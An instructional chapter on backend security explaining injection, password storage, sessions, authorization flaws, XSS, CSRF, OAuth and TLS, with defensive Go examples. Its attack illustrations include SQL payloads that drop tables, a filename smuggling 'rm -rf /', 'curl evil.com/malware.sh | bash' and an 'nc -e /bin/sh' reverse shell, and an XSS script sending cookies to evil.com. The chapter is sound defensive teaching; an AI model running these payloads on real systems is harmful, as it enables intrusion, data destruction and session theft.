Chapter 172-3 hours

Backend Security

Almost every attack is the same mistake: data from a user being treated as code or as trusted. Injection, password storage, session cookies, rate limiting, BOLA and BFLA, XSS and CSRF, security headers, OAuth/OIDC and TLS, each one built from the attack backwards. Worked implementations in Go, Python, JavaScript, TypeScript and Java.

A detailed backend reference

Security is not a feature you bolt on at the end, it is a mindset you carry into every line of code. This chapter covers the most impactful attack classes a backend engineer will encounter: injection attacks, broken authentication, broken authorization, XSS, CSRF, and misconfiguration, with the mental models and code to prevent all of them.

01

The Security Mindset: Think Like an Attacker

“Attackers don’t care about your framework or language. They only ask one question: where did the developer make an assumption?”

Every significant vulnerability in the history of software traces back to a developer assuming something that an attacker violated:

  • Assuming the input coming from the user will be clean and well-formed.
  • Assuming the user is who they claim to be.
  • Assuming the request is coming from your own front end.
  • Assuming nobody will open the browser’s network tab and modify parameters.

These assumptions feel reasonable under deadline pressure, you’re always thinking in the happy path. Attackers exploit the unhappy paths. They poke at every boundary, modify every input, and try to guess every assumption you made.

The Root Cause of Almost Every Attack

Your backend application speaks multiple languages simultaneously: SQL to the database, HTML/JS to the browser, shell commands to the OS. Each language has its own grammar, its own special characters, its own way of separating commands from data.

Your Backendspeaks 3+ languagesDatabaselanguage: SQLBrowserlanguage: HTML/JSOS / Shelllanguage: ShellVulnerability: user input in one language bleeds into another
Fig 1: Your backend speaks multiple languages. Every boundary crossing is a potential injection point.

Injection attacks happen when user data (which lives in one language) bleeds into another language’s context and gets interpreted as a command rather than data. This single insight explains SQL injection, command injection, XSS, and more.

02

Vulnerability Overview

SQL Injection

User input bleeds into SQL query. Attacker can read all data, delete tables, or run OS commands via DB.

Command Injection

User input bleeds into a shell command. Attacker can run rm -rf / or install spyware on your server.

XSS

User content stored as HTML. Malicious script runs in other users’ browsers, steals sessions, redirects, phishes.

Broken Auth

Plain-text passwords, weak hashing, predictable session IDs, missing rate limits, attacker takes over accounts.

Broken AuthZ (BOLA/BFLA)

Auth check at routing layer but not at DB layer. User A reads User B’s invoices. Member accesses admin API.

CSRF / Misconfig

Cross-site form submissions trick server. Secrets in git, debug logs in production, wrong cookie flags.

03

SQL Injection

SQL injection has been the #1 most destructive vulnerability for decades. It works because developers build SQL queries by string concatenation: dropping raw user input directly into the query template.

The Attack: Step by Step

Consider a login query built by concatenation:

-- Template on server:
SELECT * FROM users WHERE email = '' + userInput + ''

-- Happy path (Alice logs in normally):
SELECT * FROM users WHERE email = 'alice@gmail.com'
-- Returns Alice's row 

-- Attacker types:  ' OR '1'='1 --
SELECT * FROM users WHERE email = '' OR '1'='1' --'
-- Returns ALL users <- data leak

-- Attacker types:  '; DROP TABLE users; --
SELECT * FROM users WHERE email = ''; DROP TABLE users; --'
-- Deletes your entire users table
Attacker Input’ OR ‘1’=‘1 —’; DROP TABLE users;—string concatSQL TemplateWHERE email = ” OR’1’=‘1’ — <- code!data treated as codeparameterisedParameterisedWHERE email = $1args: [”’ OR ‘1’=‘1”]treated purely as string
Fig 2: String concatenation confuses code and data. Parameterised queries separate them permanently.

How Special SQL Characters Enable the Attack

CharacterMeaning in SQLHow Attacker Uses It
'String delimiterCloses the existing string literal, escapes data context
;Statement separatorEnds the legitimate query; starts a new malicious one
--Line commentComments out the rest of the original query (trailing ')
ORLogical operatorCreates an always-true condition to bypass WHERE filters
UNIONCombines result setsExtracts data from other tables (payments, secrets)

The Fix: Parameterised Queries

Instead of building one string with everything mashed together, send two separate things to the database: (1) the query template with placeholder slots, (2) the user data as separate arguments. The database driver guarantees that whatever goes into a slot is treated as a pure string, never as executable SQL.

the value travels beside the query, never inside it

//NEVER, string concatenation
query := "SELECT * FROM users WHERE email = '" + userInput + "'"

// ALWAYS, parameterised ($1 is the slot)
row := db.QueryRow(ctx,
    "SELECT id, name FROM users WHERE email = $1",
    userInput,  // passed separately, treated purely as data
)

// With an ORM (GORM), parameterised automatically
db.Where("email = ?", userInput).First(&user)

Additional Hardening: Minimal DB Permissions

Even if a SQL injection succeeds, you can limit the blast radius. The database user your backend uses to connect should only have DML permissions (INSERT, UPDATE, DELETE, SELECT), never DDL permissions (DROP TABLE, CREATE TABLE, ALTER). A hacker who gets SQL injection can’t delete your tables if the DB user can’t execute DDL.

NoSQL Injection (MongoDB)

MongoDB queries are JSON objects, not SQL strings. But they support operators (prefixed with $) like $ne (not equal), $gt, $exists. If you pass raw user-supplied JSON directly to a query, an attacker can inject these operators:

//VULNERABLE: attacker sends {"$ne": null} as email
db.users.find({ email: req.body.email })
// Becomes: { email: { $ne: null } }  -> returns ALL users

// FIX: validate that email is a plain string, not an object
if (typeof req.body.email !== 'string') {
  return res.status(400).json({ error: 'Invalid email' })
}
db.users.find({ email: req.body.email })

04

Command Injection

Command injection is SQL injection at the OS level. Your backend sometimes needs to call external programs (image processing with FFmpeg, file compression, PDF generation). If you build the shell command by concatenating user input, an attacker can inject shell commands into your server.

The Attack

# User supplies the output filename. Attacker sends: "out.jpg; rm -rf /"
ffmpeg -i input.jpg -vf scale=800:600 out.jpg; rm -rf /
#                                       ^ ffmpeg done  ^ now this runs

# Attacker can also use:
# out.jpg && curl evil.com/malware.sh | bash    (install backdoor)
# out.jpg & nc -e /bin/sh attacker.com 4444 &   (reverse shell in background)

Shell special characters that enable this:

CharacterShell MeaningAttack Use
;Separate commandsRun second command after first
&&Run if previous succeededChain exploit after legitimate command
|Pipe outputFeed output to destructive command
&Run in backgroundInstall persistent spyware silently
$()Command substitutionExecute arbitrary command inline

The Fix: Separate Command from Arguments

Every language provides functions that accept the command and arguments as separate parameters. These pass arguments directly to the process without going through a shell interpreter, so special characters are never interpreted.

the command and its arguments are separate values, so no shell parses them

import "os/exec"

//VULNERABLE, passes through shell interpreter
cmd := exec.Command("sh", "-c", "ffmpeg -i input.jpg -o "+userFilename)

// SAFE, command and each argument are separate params
// Shell never sees userFilename, it goes straight to the process
cmd := exec.Command(
    "ffmpeg",
    "-i", "input.jpg",
    "-vf", "scale=800:600",
    userFilename,   // treated as a string argument, not shell code
)
output, err := cmd.Output()

05

Password Storage: The Three Evolutions

Databases get breached every day. When they do, how you stored passwords determines whether your users’ lives are destroyed or not.

(1) Plain Textpass_col = “12345”Breach -> instant pwnDevs can see all passwords(2) Hashing Only SHA256(“12345”)Vulnerable to rainbowtable attacks(3) Slow Hash + Salt argon2id(“12345” + salt_u14)Rainbow tables uselessBrute force: centuries not days
Fig 3: Password storage evolution. Only option (3) is acceptable in production.

Why Plain Text Fails

Every database breach exposes all passwords instantly. Worse: over 70% of users reuse passwords across sites, so one breach hands attackers the keys to email, banking, and social media accounts they didn’t even target.

Why Hashing Alone Isn’t Enough

Attackers pre-compute rainbow tables: massive lookup tables mapping common passwords (like “123456”, “password”, “qwerty”) to their hashes. If your hash matches a rainbow table entry, they reverse-lookup the plaintext instantly. A GPU can compute billions of SHA-256 hashes per second.

Salting: Defeating Rainbow Tables

A salt is a cryptographically random string generated uniquely for each user. You concatenate the salt with the password before hashing. Since each user’s salt is different, even two users with the same password produce completely different hashes. Rainbow tables become useless, they’d need a new table per user.

Slow Hashing: Defeating Brute Force

General-purpose hash functions (SHA-256, MD5) are designed to be fast. A GPU can do billions per second. Password hashing algorithms (bcrypt, scrypt, Argon2id) are deliberately slow via a configurable cost/work factor. At 400ms per hash:

  • Legitimate user logging in: 400ms, imperceptible, totally fine.
  • Attacker brute-forcing offline: 400ms per attempt -> ~2.5 attempts/second instead of billions -> cracking takes centuries.

a random salt per password, a deliberately slow hash, a constant-time compare

import (
    "crypto/rand"
    "golang.org/x/crypto/argon2"
    "encoding/base64"
)

func HashPassword(password string) (string, error) {
    // Generate cryptographically random 16-byte salt
    salt := make([]byte, 16)
    rand.Read(salt)

    // Argon2id params: time=1, memory=64MB, threads=4, keyLen=32
    hash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32)

    // Store: $argon2id$salt$hash (both needed to verify)
    encoded := base64.RawStdEncoding.EncodeToString(salt) +
               "$" + base64.RawStdEncoding.EncodeToString(hash)
    return encoded, nil
}

func VerifyPassword(password, stored string) bool {
    // Re-hash with stored salt, compare, never compare raw hashes with ==
    parts := strings.Split(stored, "$")
    salt, _ := base64.RawStdEncoding.DecodeString(parts[0])
    newHash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32)
    return subtle.ConstantTimeCompare(newHash,
        mustDecode(parts[1])) == 1
}

06

Sessions, Cookies & the Critical Flags

After a user authenticates, you need to remember them across requests. This is done via a session: a random identifier stored server-side, linked to the user’s data, sent to the browser as a cookie.

The Session Flow

  1. User submits email + password.
  2. Server verifies password (argon2id hash match).
  3. Server generates a cryptographically random 128-256 bit session ID.
  4. Server stores the session ID in Redis/DB with user metadata (user ID, IP, user-agent, expiry, created_at).
  5. Server sends the session ID to browser in a cookie with strict security flags.
  6. Every subsequent request: browser sends cookie -> server looks up session ID -> identifies user.
FlagValueWhat It DoesWithout It
HttpOnlytrueJS cannot read this cookieXSS steals session ID via document.cookie
SecuretrueCookie only sent over HTTPSSession stolen by Wi-Fi eavesdropper or Wireshark
SameSiteStrict or LaxCookie not sent in cross-origin requestsCSRF attacks can use your cookie from evil.com

HttpOnly, Secure, SameSite: three flags, three whole attack classes

http.SetCookie(w, &http.Cookie{
    Name:     "session_id",
    Value:    sessionID,
    HttpOnly: true,          // JS cannot access
    Secure:   true,           // HTTPS only
    SameSite: http.SameSiteStrictMode,  // no cross-site
    MaxAge:   7 * 24 * 3600, // 7 days
    Path:     "/",
})

07

JWT: Stateless Authentication

A JWT (JSON Web Token) is an alternative to server-side sessions. Instead of storing session data in the DB and sending only an ID to the client, the JWT contains the session data, signed cryptographically so it cannot be tampered with.

JWT Structure

Headeralg: HS256, typ: JWT.Payload (Claims)sub: user_id, iat, exp, role: “admin”.SignatureHMAC(header+payload, secret)
Fig 4: JWT: three Base64-encoded parts joined by dots. Payload is readable, but tamper-proof via signature.

JWT vs Sessions: When to Use Which

Sessions (Stateful) Preferred

  • Instant revocation, delete the session row
  • No data exposed to client
  • Simpler architecture for most SaaS
  • Scalable with Redis (shared session store)
  • Recommended by most security experts

JWT (Stateless)

  • No DB lookup per request (faster at scale)
  • Revocation is hard, blacklist or short expiry needed
  • If account compromised, can’t force logout immediately
  • Workarounds: short expiry (5-10min) + refresh tokens
  • Use only if stateless is a hard requirement

If You Must Use JWT: Best Practices

  • Short access token expiry: 5-15 minutes. Long-lived tokens are stolen tokens that never expire.
  • Refresh token rotation: issue a new access + refresh token pair on each refresh. Stored server-side.
  • HttpOnly cookie storage: not localStorage. XSS cannot steal what JS cannot read.
  • Strong secret: >=256-bit random secret for HMAC signing. Rotate it periodically.
  • Verify on every request: don’t trust a JWT just because it’s well-formed. Always verify the signature.

08

Rate Limiting Authentication Endpoints

Without rate limiting, an attacker can send millions of login attempts per second, either to brute-force passwords or to take down your server (DoS). Rate limiting is mandatory on all auth endpoints.

Three Layers of Rate Limiting

Layer 1: Per-IP10 attempts / minuteBypassed by botnets / rotating IPsLayer 2: Per-Account5 failures -> lock 24hBypassed by password sprayLayer 3: Global100 failures / min system-wideAlert + CAPTCHA all usersPassword Spray AttackTry one common password (“123456”) across millions of accounts -> avoids per-account lockout. Only global rate limiting catches this.
Fig 5: Three-layer rate limiting: each layer catches attacks that bypass the previous one.

a token bucket per IP, checked before the handler runs

import (
    "golang.org/x/time/rate"
    "sync"
    "net/http"
)

var (
    mu       sync.Mutex
    limiters = map[string]*rate.Limiter{}
)

// Per-IP limiter: 5 requests per second, burst of 10
func getIPLimiter(ip string) *rate.Limiter {
    mu.Lock()
    defer mu.Unlock()
    l, ok := limiters[ip]
    if !ok {
        l = rate.NewLimiter(5, 10)
        limiters[ip] = l
    }
    return l
}

func RateLimitMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        ip := r.RemoteAddr
        if !getIPLimiter(ip).Allow() {
            http.Error(w, "too many requests", http.StatusTooManyRequests)
            return
        }
        next.ServeHTTP(w, r)
    })
}

09

Authorization Vulnerabilities: BOLA & BFLA

“Authentication tells you who the user is. Authorization tells you what they’re allowed to do. Most engineers get authentication right and authorization wrong.”

The Core Mistake

Authorization is checked at the routing layer (middleware). Engineers then assume: “the user passed auth, so they can access anything from here.” This creates a dangerous false sense of security.

RouterAuth MiddlewareauthenticatedHandlerServiceRepository <-SELECT * WHERE id=5VULNERABLENo user ownership checkAny user can fetch any IDWHERE id=5 AND user_id=$ctx
Fig 6: Auth checks at routing layer don't protect data at the DB layer. Add ownership checks in the query.

(1) BOLA: Broken Object Level Authorization

(Also called IDOR, Insecure Direct Object Reference)

User A can access, modify, or delete the resources of User B by guessing or iterating their IDs.

--VULNERABLE: fetches invoice 5 regardless of who is asking
SELECT * FROM invoices WHERE id = $1

-- FIXED: also requires the invoice to belong to the requesting user
SELECT * FROM invoices
WHERE  id = $1
  AND  user_id = $2    -- $2 comes from the verified session/JWT, not user input

-- If no row: return 404 (not 403)
-- Why 404? A 403 CONFIRMS the resource exists -> information leak
-- A 404 gives the attacker no information -> is it missing, or forbidden?

(2) BFLA: Broken Function Level Authorization

A regular user accesses admin-only endpoints because role checks are missing at the routing layer. Believing “nobody knows the /admin URL” is security through obscurity: which is not security at all.

the check lives in middleware, so no handler can forget it

func RequireRole(role string) func(http.Handler) http.Handler {
    return func(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            user, ok := r.Context().Value("user").(User)
            if !ok || user.Role != role {
                http.Error(w, "forbidden", http.StatusForbidden)
                return
            }
            next.ServeHTTP(w, r)
        })
    }
}

// Router setup
r.With(RequireAuth, RequireRole("admin")).
  Get("/admin/invoices", adminInvoicesHandler)

The Horizontal vs Vertical Mental Model

Horizontal Attack (BOLA)

  • User A reads/edits User B’s resources
  • Scope widens across users
  • Fix: add AND user_id = $ctx_user to every query
  • Return 404, not 403

Vertical Attack (BFLA)

  • Regular user accesses admin functions
  • Scope elevates up privilege levels
  • Fix: role middleware on every sensitive route
  • Default-deny: deny anything not explicitly allowed

Use UUIDs, Not Sequential IDs, in URLs

Sequential IDs (/invoices/101, /invoices/102) let attackers enumerate all resources. A UUID like /invoices/f47ac10b-58cc-4372-a567-0e02b2c3d479 is effectively unguessable, 2^122 possible values. Use UUIDs as primary keys in any table whose records are exposed in URLs.

10

Cross-Site Scripting (XSS)

XSS occurs when an attacker’s JavaScript executes in another user’s browser, in the context of your platform. It’s injection, but the target is the browser’s HTML/JS engine instead of the database.

Why XSS Is Dangerous

JavaScript running in your platform’s context can:

  • Read all document.cookie (session tokens not protected by HttpOnly).
  • Read localStorage (JWT tokens, API keys).
  • Make API requests as the logged-in user (impersonation).
  • Redirect users to phishing pages to steal credentials.
  • Alter page content to deceive the user (fake login forms, fake alerts).

Stored XSS: The Most Dangerous Type

A user submits a comment/post containing a <script> tag. Your server stores it. Every user who views that post has the script execute in their browser.

<!-- Attacker submits this as a "comment" -->
<script>
  // Steal session cookie and send to attacker's server
  fetch('https://evil.com/steal?c=' + document.cookie);

  // Or silently redirect to phishing page
  window.location = 'https://evil.com/fake-login';
</script>

<!-- This script is stored in your DB and injected into every user's browser -->

Prevention: Sanitise Before Storing

Before storing any user-provided HTML/markdown, strip dangerous tags and attributes. Use a battle-tested library; never write your own sanitiser.

an allow-list of tags, never a block-list of dangerous ones

import "github.com/microcosm-cc/bluemonday"

// Build the policy ONCE at startup, not per request: compiling it is
// the expensive part and the policy is safe to share.
var commentPolicy = func() *bluemonday.Policy {
    p := bluemonday.NewPolicy()
    p.AllowElements("p", "b", "i", "em", "strong", "ul", "ol", "li")
    p.AllowAttrs("href").OnElements("a")
    // Without this, href="javascript:..." survives the tag allow-list
    // and you have an XSS through a link.
    p.RequireParseableURLs(true)
    p.AllowURLSchemes("http", "https", "mailto")
    return p
}()

func SanitiseComment(rawHTML string) string {
    return commentPolicy.Sanitize(rawHTML)
}

// bluemonday.UGCPolicy() is a ready-made policy for user-generated
// content and is a reasonable default if you do not want to enumerate.

Content Security Policy (CSP): Last Line of Defence

CSP is an HTTP response header that tells the browser exactly which scripts are allowed to run. Even if an attacker injects a <script> tag, the browser blocks it if it violates the policy.

# Only load scripts from your own domain. Block all inline scripts.
Content-Security-Policy: default-src 'self';
                         script-src 'self';
                         object-src 'none';
                         base-uri 'self'

11

CSRF: Cross-Site Request Forgery

CSRF exploits the fact that browsers automatically attach cookies to requests, even when the request originates from a different website. An attacker on evil.com can trigger a request to bank.com and your browser includes your bank.com session cookie.

Mitigations

  • SameSite cookie flag: Strict or Lax blocks cookies from cross-origin requests. Modern browsers default to Lax.
  • CORS configuration: only allow requests from your own frontend domain.
  • CSRF tokens: for legacy form-based systems: embed a unique token in every form, verify it server-side.

12

Misconfigurations: Security Holes You Create Yourself

(1) Secrets in Version Control

The most catastrophically common mistake: API keys, database passwords, JWT secrets, or encryption keys committed to Git. Once in commit history, rotating the secret in code doesn’t help, the old value is permanently in git log.

# Install: brew install gitleaks
# .git/hooks/pre-commit
gitleaks protect --staged --no-git -v
# Blocks commit if API keys, passwords, tokens detected in staged files

(2) Debug/Verbose Logs in Production

In development, log level is typically DEBUG, full stack traces, SQL queries, request bodies. In production it must be INFO or WARN. Debug logs in production expose:

  • Table names, column names, query structure -> enables targeted SQL injection.
  • File paths and function names -> reveals codebase structure.
  • User PII accidentally logged -> GDPR violation + breach liability.

debug in development, info in production, and never the request body

import "log/slog"

func setupLogger() {
    level := slog.LevelInfo  // default: production
    if os.Getenv("APP_ENV") == "development" {
        level = slog.LevelDebug
    }
    slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stdout,
        &slog.HandlerOptions{Level: level})))
}

(3) Security Headers

A single middleware call adds all industry-standard security headers. Every major framework has one:

HeaderPurpose
Content-Security-PolicyControls which scripts/resources can run (prevents XSS)
X-Frame-Options: DENYPrevents embedding in iframes (prevents clickjacking)
X-Content-Type-Options: nosniffPrevents MIME-type sniffing attacks
Strict-Transport-SecurityForces HTTPS, prevents SSL stripping
Referrer-PolicyControls how much referrer info is sent cross-origin

set them once, in middleware, for every response

import "github.com/go-chi/chi/v5/middleware"

r.Use(middleware.SetHeader("X-Frame-Options", "DENY"))
r.Use(middleware.SetHeader("X-Content-Type-Options", "nosniff"))
r.Use(middleware.SetHeader("Referrer-Policy", "strict-origin-when-cross-origin"))
r.Use(middleware.SetHeader(
    "Strict-Transport-Security",
    "max-age=63072000; includeSubDomains; preload"))
r.Use(middleware.SetHeader(
    "Content-Security-Policy",
    "default-src 'self'; script-src 'self'; object-src 'none'"))

13

Defence in Depth: No Single Layer Is Enough

“No single defence is perfect. Build in layers. An attacker must bypass all of them simultaneously, which is exponentially harder.”

CoreLogicInput ValidationParameterised OpsAuthN / AuthZRate LimitingSecurity Headers + CSPMonitoring + Audit Logs
Fig 7: Defence in depth: attacker must break through every layer to reach your core business logic.

The Three Questions to Ask at Every Boundary

  1. Where is data crossing a boundary? (User -> SQL, User -> Shell, User -> HTML)
  2. What am I assuming about this data? (Is it clean? Is it a valid email? Is it safe?)
  3. What if those assumptions are wrong? (What does the attacker gain if they violate this assumption?)

If you ask these three questions for every piece of code that handles user input, you will avoid 99% of the vulnerabilities that break real production systems.

14

Secure Patterns Reference

Everything from this chapter, assembled. Read one tab end to end and you have the whole checklist in one place: validate the shape, query with parameters, verify in constant time, answer with a generic error either way, mint the session id from a CSPRNG, and set all three cookie flags.

Complete Secure Login Endpoint

validate, parameterise, verify, generic error, CSPRNG token, flagged cookie

func loginHandler(db *pgxpool.Pool, redis *redis.Client) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        var req struct {
            Email    string `json:"email"`
            Password string `json:"password"`
        }
        json.NewDecoder(r.Body).Decode(&req)

        // 1. Validate format (first line of defence)
        if !isValidEmail(req.Email) || len(req.Password) < 8 {
            http.Error(w, "invalid credentials", 400)
            return
        }

        // 2. Parameterised query, no SQL injection possible
        var userID string
        var hashedPass string
        err := db.QueryRow(ctx,
            "SELECT id, password_hash FROM users WHERE email = $1",
            req.Email).Scan(&userID, &hashedPass)

        // 3. Generic error, never reveal whether email exists
        if err != nil || !verifyArgon2(req.Password, hashedPass) {
            http.Error(w, "invalid email or password", 401)
            return
        }

        // 4. Cryptographically secure session ID
        sessionID := generateSecureToken(32)

        // 5. Store session in Redis with metadata
        redis.Set(ctx, "session:"+sessionID,
            userID, 7*24*time.Hour)

        // 6. Secure cookie, HttpOnly, Secure, SameSite=Strict
        http.SetCookie(w, &http.Cookie{
            Name: "session_id", Value: sessionID,
            HttpOnly: true, Secure: true,
            SameSite: http.SameSiteStrictMode,
            MaxAge: 7 * 24 * 3600,
        })
        w.WriteHeader(http.StatusOK)
    }
}

func generateSecureToken(n int) string {
    b := make([]byte, n)
    rand.Read(b) // crypto/rand, not math/rand
    return base64.URLEncoding.EncodeToString(b)
}

The BOLA-safe query

the ownership check belongs IN the WHERE clause, not after the row comes back

func GetInvoice(ctx context.Context, db *pgxpool.Pool,
    invoiceID int64, currentUserID string) (*Invoice, error) {

    var inv Invoice
    // Ownership check IN the query, not after it. Fetching first and
    // comparing afterwards works right up until somebody adds an early
    // return, or logs the row, or the comparison is against the wrong
    // field. In the WHERE clause it cannot be skipped.
    err := db.QueryRow(ctx, `
        SELECT id, amount, user_id
        FROM   invoices
        WHERE  id = $1 AND user_id = $2`,
        invoiceID, currentUserID,
    ).Scan(&inv.ID, &inv.Amount, &inv.UserID)

    if errors.Is(err, pgx.ErrNoRows) {
        // 404, not 403. A 403 confirms the invoice EXISTS, which hands
        // an attacker a working oracle for enumerating other people's
        // ids one request at a time.
        return nil, apperr.NotFound("invoice")
    }
    return &inv, err
}

16

OAuth 2.0 & OIDC: Delegated Authentication

OAuth 2.0 is an authorization framework that allows a third-party application to obtain limited access to a user’s account on another service, without ever seeing the user’s password. OpenID Connect (OIDC) is a thin identity layer on top of OAuth 2.0 that adds authentication (who the user is), not just authorization (what they can do).

“Sign in with Google” is OIDC. “Allow this app to read your Google Drive” is OAuth 2.0. In practice, modern auth providers (Clerk, Auth0) combine both.

The Four Roles

RoleWho It IsExample
Resource OwnerThe userAlice
ClientYour applicationYourSaaS.com
Authorization ServerIssues tokens after consentGoogle, GitHub, Auth0
Resource ServerAPI that holds user dataGoogle Calendar API

Authorization Code Flow: The Secure Standard

This is the flow used by every serious web application. It keeps tokens off the browser URL bar and exchanges a short-lived code for tokens server-side.

Browser / UserYour BackendAuth Server (Google)(1) Click “Sign in with Google”(2) Redirect to Google + state + code_challenge(3) Browser navigates to Google login + consent screen(4) Google redirects back with authorization_code(5) Browser sends code to your backend callback(6) Backend exchanges code -> access_token + id_token(server-to-server, never touches browser)(7) Google returns tokens + user info (sub, email)(8) Backend creates session -> sets HttpOnly cookiePKCE, Proof Key for Code Exchangeclient generates code_verifier (random) -> hashes it to code_challenge -> sent in step (2)Google checks verifier in step (6) -> prevents authorization code interception attacks
Fig A: OAuth 2.0 Authorization Code Flow with PKCE. Steps (6)-(7) are server-to-server, tokens never touch the browser URL bar.

Key Security Rules for OAuth

  • Always use PKCE: even for server-side apps. It prevents code interception attacks where an attacker intercepts the code from the redirect URL.
  • Validate the state parameter: generate a random value, store it in the session before redirect, verify it when Google redirects back. This prevents CSRF on the OAuth flow itself.
  • Never expose access_token to the browser: exchange the code server-side and issue your own session cookie. The access token is a credential; treat it like a password.
  • Link OAuth to existing accounts by email carefully: if a user already has an email+password account and signs in via Google with the same email, you must decide: auto-link (convenient, small risk) or require confirmation. Auto-linking without verification enables account takeover if the OAuth provider is compromised.
  • Verify the aud (audience) claim in the id_token, ensures the token was issued for your app, not another OAuth client using the same provider.

OIDC vs OAuth 2.0: One-Line Difference

ProtocolAnswersToken
OAuth 2.0“What can this app do?”Access Token (opaque or JWT)
OIDC“Who is this user?”ID Token (always JWT with sub, email, iat)

check the state, exchange the code server-side, then VERIFY the ID token

import (
    "github.com/coreos/go-oidc/v3/oidc"
    "golang.org/x/oauth2"
)

var (
    provider, _ = oidc.NewProvider(ctx, "https://accounts.google.com")
    verifier     = provider.Verifier(&oidc.Config{ClientID: os.Getenv("GOOGLE_CLIENT_ID")})
    oauth2Cfg    = &oauth2.Config{
        ClientID:     os.Getenv("GOOGLE_CLIENT_ID"),
        ClientSecret: os.Getenv("GOOGLE_CLIENT_SECRET"),
        RedirectURL:  "https://yourapp.com/auth/callback",
        Scopes:       []string{oidc.ScopeOpenID, "email", "profile"},
        Endpoint:     provider.Endpoint(),
    }
)

func callbackHandler(w http.ResponseWriter, r *http.Request) {
    // 1. Verify state matches what we stored in session (CSRF protection)
    if r.URL.Query().Get("state") != getSessionState(r) {
        http.Error(w, "invalid state", 400); return
    }

    // 2. Exchange code for tokens (server-to-server)
    token, _ := oauth2Cfg.Exchange(ctx, r.URL.Query().Get("code"))
    rawIDToken := token.Extra("id_token").(string)

    // 3. Verify ID token signature + aud + exp
    idToken, err := verifier.Verify(ctx, rawIDToken)
    if err != nil { http.Error(w, "invalid token", 401); return }

    // 4. Extract claims
    var claims struct { Email string `json:"email"`; Sub string `json:"sub"` }
    idToken.Claims(&claims)

    // 5. Upsert user in DB, create session, set cookie
    userID := upsertUser(claims.Sub, claims.Email)
    setSecureSessionCookie(w, userID)
    http.Redirect(w, r, "/dashboard", http.StatusFound)
}

17

HTTPS & TLS Internals

HTTPS is HTTP with a TLS (Transport Layer Security) layer between the TCP connection and your HTTP messages. Everything inside it, headers, body, cookies, tokens, is encrypted in transit. An attacker who intercepts the packets sees only random ciphertext.

Why TLS Matters to a Backend Engineer

  • Without HTTPS, session cookies and JWT tokens are stolen by anyone on the same Wi-Fi (Wireshark captures them in plaintext).
  • The Secure cookie flag only works over HTTPS, without it, cookies are sent over HTTP too.
  • HTTP/2 (and HTTP/3) require TLS, no TLS means no performance benefits.
  • Search engines penalise HTTP sites; browsers show “Not Secure” warnings.

The TLS Handshake: What Actually Happens

Client (Browser)Server (Your Backend)(1) ClientHello: TLS version, cipher suites, random_client(2) ServerHello: chosen cipher, random_server, certificate (public key)(3) Client verifies certChain of trust -> root CA(4) Key Exchange (ECDHE): client sends key share encrypted with server’s public key(5) Both sides independently derive the same symmetric session key(using random_client + random_server + key material, never transmitted)(6) Client Finished (MAC of entire handshake)(7) Server Finished, handshake complete(8) All subsequent HTTP traffic encrypted with symmetric session key (AES-GCM)Eavesdropper sees: random bytes. Session cookie, JWT, passwords, all invisible.
Fig B, TLS 1.3 handshake. The session key is derived, never transmitted, forward secrecy means past sessions can't be decrypted even if the server's private key is later stolen.

Key Concepts

ConceptWhat It MeansWhy It Matters
CertificateServer’s public key + identity, signed by a CAProves you’re talking to the real server, not an impersonator
Certificate Authority (CA)Trusted third party that signs certs (Let’s Encrypt, DigiCert)Chain of trust: browser trusts CA -> CA vouches for server
ECDHEElliptic Curve Diffie-Hellman Ephemeral key exchangeForward secrecy: each session uses a fresh key pair
Forward SecrecySession keys aren’t stored; can’t decrypt past traffic even with private keyA future key compromise doesn’t expose old sessions
HSTSHTTP Strict Transport Security headerForces HTTPS for your domain, prevents SSL-stripping attacks
TLS 1.3Current standard (2018). Dropped weak ciphers from TLS 1.2Faster (1-RTT handshake), no known vulnerabilities

Practical Checklist for Your Backend

  • Use Let’s Encrypt (free, auto-renewing) or your cloud provider’s certificate manager.
  • Set Strict-Transport-Security: max-age=63072000; includeSubDomains; preload, tells browsers to always use HTTPS for your domain for 2 years.
  • Redirect all http:// traffic to https:// at the load balancer / reverse proxy level (nginx, Caddy, Traefik).
  • Disable TLS 1.0 and TLS 1.1, they have known vulnerabilities (POODLE, BEAST). Only allow TLS 1.2 and TLS 1.3.
  • Test your TLS config at ssllabs.com/ssltest, aim for an A+ rating.
# Caddyfile, Caddy automatically obtains and renews Let's Encrypt certs
yourapp.com {
    reverse_proxy localhost:8080
    # TLS 1.2+ enforced, HSTS set, HTTP redirected, all automatic
}

# nginx equivalent
server {
    listen 443 ssl;
    ssl_certificate     /etc/letsencrypt/live/yourapp.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yourapp.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;   # disable 1.0 and 1.1
    ssl_ciphers         ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    add_header Strict-Transport-Security "max-age=63072000" always;
}

18

Penetration Testing Mindset: Think Before You Ship

Penetration testing (pentesting) is the practice of attacking your own system the way a real attacker would, before they get the chance. You don’t need to be a professional pentester to apply this mindset. The goal is to build the habit of asking “how would I break this?” before you deploy.

The Attacker’s Methodology (OWASP Testing Guide)

  1. Reconnaissance: What endpoints exist? What technology stack? What error messages leak? (nmap, Google dorking, examining JS bundles)
  2. Enumeration: What user IDs exist? What routes? Fuzz with sequential IDs, common paths (/admin, /.env, /api/v1)
  3. Exploitation: Try injection payloads, bypass auth, escalate privileges
  4. Post-exploitation: What can be exfiltrated, modified, or destroyed?

Quick Self-Audit Checklist

Before shipping any feature that touches user data or auth, run through these manually or in automated tests:

CheckWhat to TestTool / Method
SQL InjectionPut ', '; DROP TABLE--, ' OR '1'='1 in every input fieldsqlmap, manual
BOLALogged in as User A, request User B’s resource IDsManual + Burp Suite
BFLARemove admin cookie/role, try hitting admin endpointsManual
XSSSubmit <script>alert(1)</script> in every text fieldManual, OWASP ZAP
Auth bypassRemove auth header entirely. Try expired tokens. Try tokens from another user.Manual
SecretsSearch codebase and git history for hardcoded keysgitleaks, trufflehog
Security headersCheck response headers for CSP, HSTS, X-Frame-Optionssecurityheaders.com
Rate limitingSend 100+ login attempts, check if blockedcurl loop, k6

Burp Suite: The Standard Tool

Burp Suite Community Edition (free) is a proxy that sits between your browser and your backend, letting you intercept, modify, and replay every request. It’s the most widely used tool for manual pentesting.

